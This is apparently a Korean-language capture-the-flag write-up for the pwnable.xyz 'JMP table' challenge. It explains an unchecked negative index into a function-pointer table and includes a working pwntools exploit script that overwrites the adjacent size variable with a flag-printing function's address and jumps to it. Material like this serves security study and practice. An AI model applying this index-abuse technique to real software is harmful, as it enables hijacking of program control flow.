[pwnable.xyz]JMP table
메인에서는 입력받고 함수 포인터로 각각 기능들을 실행해준다.
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
signed int v3; // [rsp+Ch] [rbp-4h]
setup(*&argc, argv, envp);
while ( 1 )
{
print_menu();
printf("> ");
v3 = read_long();
if ( v3 <= 4 )
(*(&vtable + v3))();
else
puts("Invalid.");
}
}
취약점은 음수 체크를 안한다. 그래서 함수포인터에서 read_long()에서 입력받은 값으로 4이하 모든 곳에 참조할 수 있다. 근데 마침 vtable뒤에 heap_buffer와 size가 존재한다. size에 원하는 주소 값을 넣어서 해당 변수를 참조하면 원하는 주소로 뛸 수 있다.
.data:00000000006020B0 public size
.data:00000000006020B0 ; size_t size
.data:00000000006020B0 size dq 1 ; DATA XREF: do_malloc+1E↑w
.data:00000000006020B0 ; do_malloc+25↑r ...
.data:00000000006020B8 public heap_buffer
.data:00000000006020B8 ; void *heap_buffer
.data:00000000006020B8 heap_buffer dq 1 ; DATA XREF: do_malloc+3F↑w
.data:00000000006020B8 ; do_malloc+50↑w ...
.data:00000000006020C0 public vtable
.data:00000000006020C0 vtable dq offset do_exit ; DATA XREF: main+4E↑o
.data:00000000006020C8 dq offset do_malloc
.data:00000000006020D0 dq offset do_free
.data:00000000006020D8 dq offset do_read
.data:00000000006020E0 dq offset do_write
.data:00000000006020E0 _data ends
사이즈는 do_malloc()
함수에서 변경 가능하다 이 영역을 cat /flag
해주는 함수 주소로 덮어쓴다. 그리고 vtable과 size 주소의 차이는 16이니까 -2 해주면 flag 출력해주는 함수를 실행할 수 있다.
exploit.py
from pwn import *
context.log_level = 'debug'
e = ELF('./challenge')
#p = process('./challenge')
p = remote('svc.pwnable.xyz',30007)
flag = e.symbols['_']
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
s = lambda x : p.send(x)
def malloc(size):
sla('>','1')
sla(':',str(size))
def free():
sla('>','2')
def read(data): #input
sla('>','3')
s(data)
def write(): # print
sla('>','4')
def quit():
sla('>','5')
malloc(flag)
sla('>','-2')
p.interactive()